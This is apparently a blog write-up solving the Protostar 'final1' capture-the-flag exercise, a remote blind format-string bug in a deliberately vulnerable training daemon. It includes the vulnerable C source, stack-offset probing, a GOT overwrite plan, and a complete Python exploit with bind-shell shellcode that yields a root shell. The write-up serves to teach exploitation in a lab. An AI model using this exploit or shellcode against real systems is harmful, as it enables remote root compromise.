Introduction
Protostar exploits are a cool bunch of ctf type exercises that focus on Linux binary exploits that progressively get harder. A ISO containing the OS and challenges can be downloaded.
The website with all information and downloads is at https://exploit-exercises.com/protostar/
Challenge
Test run
final1 is a network daemon that listens on port 2994. The iso image automatically starts the daemon for us. If we list the running processes we should see it.
user@protostar:~$ ps axu|grep final1 root 1668 0.0 0.1 1532 272 ? Ss Aug18 0:00 /opt/protostar/bin/final1 user 6628 0.0 0.2 3296 728 pts/1 S+ 00:16 0:00 grep final1 user@protostar:~$ sudo netstat -nap|grep final1 sudo: unable to resolve host protostar [sudo] password for user: tcp 0 0 0.0.0.0:2994 0.0.0.0:* LISTEN 1668/final1 user@protostar:~$ nc -vvv localhost 2994 localhost.localdomain [127.0.0.1] 2994 (?) open [final1] $ AAAA [final1] $ ^C sent 5, rcvd 22
Exploit
Challenge hint ‘This level is a remote blind format string level. The ‘already written’ bytes can be variable, and is based upon the length of the IP address and port number.”
#include "../common/common.c" #include <syslog.h> #define NAME "final1" #define UID 0 #define GID 0 #define PORT 2994 char username[128]; char hostname[64]; void logit(char *pw) { char buf[512]; snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw); syslog(LOG_USER|LOG_DEBUG, buf); } void trim(char *str) { char *q; q = strchr(str, '\r'); if(q) *q = 0; q = strchr(str, '\n'); if(q) *q = 0; } void parser() { char line[128]; printf("[final1] $ "); while(fgets(line, sizeof(line)-1, stdin)) { trim(line); if(strncmp(line, "username ", 9) == 0) { strcpy(username, line+9); } else if(strncmp(line, "login ", 6) == 0) { if(username[0] == 0) { printf("invalid protocol\n"); } else { logit(line + 6); printf("login failed\n"); } } printf("[final1] $ "); } } void getipport() { int l; struct sockaddr_in sin; l = sizeof(struct sockaddr_in); if(getpeername(0, &sin, &l) == -1) { err(1, "you don't exist"); } sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port)); } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); getipport(); parser(); }
After examining the code’s logic we can see that parser() will spit some information out to syslog if we provide the correct sequence of commands. Let’s try that.
user@protostar:~$ nc -vvv localhost 2994 localhost.localdomain [127.0.0.1] 2994 (?) open [final1] $ username AAAA [final1] $ login BBBB login failed [final1] $
user@protostar:~$ sudo tail /var/log/syslog ... Aug 28 00:42:12 (none) final1: Login from 127.0.0.1:55951 as [AAAA] with password [BBBB]
The logit() function uses snprintf() to print out the values ”hostname’ ‘username’ and ‘pw’ to syslog. This looks like a good candidate to test for a format string vulnerability.
We will send a our format string test to the username parameter as ‘AAAAAAAAAAAAAAA%15$p’
If you recall from previous protostar format string challeges %[integer]%p will print the contents of memory from the stack where [integer] is the position on the stack.
I have chose 15 for my payload as this is the stack position where the username value containing ‘AAAAAAAAAAAAAAA’ is location as indicated in the syslog output when ‘0x41414141’ is printed.
user@protostar:~$ nc -vvv localhost 2994 localhost.localdomain [127.0.0.1] 2994 (?) open [final1] $ username AAAAAAAAAAAAAAA%15$p [final1] $ login BBBBBBBB login failed
user@protostar:~$ sudo tail /var/log/syslog ... Aug 28 12:36:38 (none) final1: Login from 127.0.0.1:55955 as [AAAAAAAAAAAAAAA0x41414141] with password [BBBBBBBB]
To move things along quicker I will attempt to cause a segfault by using the $n format string operator and writing to invalid memory location.
user@protostar:~$ nc -vvv localhost 2994
localhost.localdomain [127.0.0.1] 2994 (?) open
[final1] $ username ABCDE%15$n
[final1] $ login ZZZZZZZZ%15$p
sent 248, rcvd 173
user@protostar:~$
user@protostar:~$ sudo tail /var/log/syslog sudo: unable to resolve host protostar Aug 28 12:47:46 (none) kernel: [836790.246087] final1[7347]: segfault at 45444342 ip b7ed7aa9 sp bfffeb78 error 6 in libc-2.11.2.so[b7e97000+13e000]
And we should have our core dump files.
user@protostar:~$ ls -la /tmp/ total 208 drwxrwxrwt 2 user user 80 Aug 28 12:47 . drwxr-xr-x 27 root root 200 Aug 18 20:00 .. -rw------- 1 root root 294912 Aug 28 12:09 core.11.final1.8591 user@protostar:~$
To recap the plan of action, use a format string attack on the snprintf() call in logit(), deploy a bind shell payload into the ‘username’ variable. To obtain code execution, the global offset table entry for printf() will be overwritten with the address of some point in ‘username’ where the shellcode should be located.
Let’s find the GOT entry for printf()
user@protostar:~$ objdump /opt/protostar/bin/final1 -R|grep printf
0804a0fc R_386_JUMP_SLOT sprintf
0804a16c R_386_JUMP_SLOT asprintf
0804a174 R_386_JUMP_SLOT printf
0804a184 R_386_JUMP_SLOT fprintf
0804a1ac R_386_JUMP_SLOT snprintf
Our destination address to overwrite will be ‘0x0804a174’
We will write the start address of our shellcode payload in ‘username’
gdb$ x /128xb x /128xb username 0x804a220 <username>: 0x41 0x74 0xa1 0x04 0x08 0x76 0xa1 0x04 0x804a228 <username+8>: 0x804a230 <username+16>: 0x804a238 <username+24>: 0x804a240 <username+32>: 0x804a248 <username+40>:
‘0x804a248’ looks like a good location so that we have space to play around with and we can nop sled to the shellcode.
The final exploit script can be found here https://github.com/muttiopenbts/protostar/blob/master/protostar-final1-bindshell.py
""" This code is for protostar final1 challange. Will connect to final1 network daemon, send the username and login messages to trigger the logit() function and confirm the format string bug. """ import socket import sys import re import struct def send_command(cmd): print(cmd) s.sendall(cmd+"\n") recv = s.recv(4096) return recv try: #create an AF_INET, STREAM socket (TCP) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) except socket.error, msg: print 'Failed to create socket. Error code: ' + str(msg[0]) + ' , Error message : ' + msg[1] sys.exit() print 'Socket Created' host = sys.argv[1] port = sys.argv[2] try: remote_ip = socket.gethostbyname( host ) except socket.gaierror: #could not resolve print 'Hostname could not be resolved. Exiting' sys.exit() print 'Ip address of ' + host + ' is ' + remote_ip #Connect to remote server s.connect((remote_ip, int(port))) print 'Socket Connected to ' + host + ' on ip ' + remote_ip buffer_size = 532 got_entry_al = "\x74\xa1\x04\x08" got_entry_ah = "\x76\xa1\x04\x08" #Bind shellcode listens on port 11111 shellcode = "\x31\xdb\xf7\xe3\xb0\x66\x43\x52\x53\x6a"\ "\x02\x89\xe1\xcd\x80\x5b\x5e\x52\x66\x68"\ "\x2b\x67\x6a\x10\x51\x50\xb0\x66\x89\xe1"\ "\xcd\x80\x89\x51\x04\xb0\x66\xb3\x04\xcd"\ "\x80\xb0\x66\x43\xcd\x80\x59\x93\x6a\x3f"\ "\x58\xcd\x80\x49\x79\xf8\xb0\x0b\x68\x2f"\ "\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"\ "\x41\xcd\x80" try: payload = "A" recv = s.recv(4096) print(recv), print send_command("username " + "A" + got_entry_al + got_entry_ah + "\x90"*31 + shellcode ), print send_command("login %41383u%15$n%91580u%16$n") except socket.error: #Send failed print 'Send failed' sys.exit() print 'Done.'
Let’s run the exploit and see if we get a remote bind shell.
user@protostar:~$ python protostar-final1-bindshell.py localhost 2994;sudo tail /var/log/syslog Socket Created Ip address of localhost is 127.0.0.1 Socket Connected to localhost on ip 127.0.0.1 [final1] $ username Atv???????????????????????????????1???fCRSj??̀[^Rfh+gjQP?f??̀?Q?f?̀?fC̀Y?j?X̀Iy?? h//shh/bin??À [final1] $ login %41383u%15$n%91580u%16$n login failed Done. ... Aug 29 12:12:10 (none) kernel: [920931.196677] final1[12844]: segfault at 803a248 ip 0803a248 sp bffffbbc error 4 in final1[8048000+2000]
netcat to the remote TCP port ‘11111’
Big-Romney:~ someuser$ nc -vvv 172.16.227.142 11111 found 0 associations found 1 connections: 1: flags=82<CONNECTED,PREFERRED> outif vmnet8 src 172.16.227.1 port 57457 dst 172.16.227.142 port 11111 rank info not available TCP aux info available Connection to 172.16.227.142 port 11111 [tcp/vce] succeeded! id uid=0(root) gid=0(root) groups=0(root)
It worked!
Apologies, I realize that I need to properly complete this write up by explaining the format string payload, bear with me.
Thank you